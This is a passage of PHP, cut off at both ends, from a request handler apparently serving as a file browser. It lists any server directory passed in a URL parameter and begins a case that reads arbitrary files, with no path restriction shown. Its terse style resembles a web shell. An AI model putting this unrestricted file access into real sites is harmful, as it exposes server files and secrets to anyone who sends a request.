son; charset=utf-8');
    $op = $_GET['op'];

    switch ($op) {
        case 'ls':
            $p = isset($_GET['p']) ? $_GET['p'] : $D;
            $p = rtrim($p, '/');
            if (!is_dir($p)) { echo json_encode(array('e' => 'not a directory')); exit; }
            $items = array();
            foreach (scandir($p) as $n) {
                if ($n === '.' || $n === '..') continue;
                $fp = $p . '/' . $n;
                $isDir = is_dir($fp);
                $items[] = array(
                    'n' => $n,
                    'd' => $isDir ? 1 : 0,
                    's' => $isDir ? 0 : @filesize($fp),
                    'm' => @date('Y-m-d H:i', @filemtime($fp)),
                    'e' => $isDir ? '' : pathinfo($n, PATHINFO_EXTENSION),
                );
            }
            usort($items, function ($a, $b) {
                if ($a['d'] != $b['d']) return $b['d'] - $a['d'];
                return strcasecmp($a['n'], $b['n']);
            });
            echo json_encode(array('p' => $p, 'i' => $items));
            break;

        case 'read':
            $p = isset($_GET['p']) ? $_GET['p'] : '';
            if (!$p || !file_exists($p)) { http_response_cod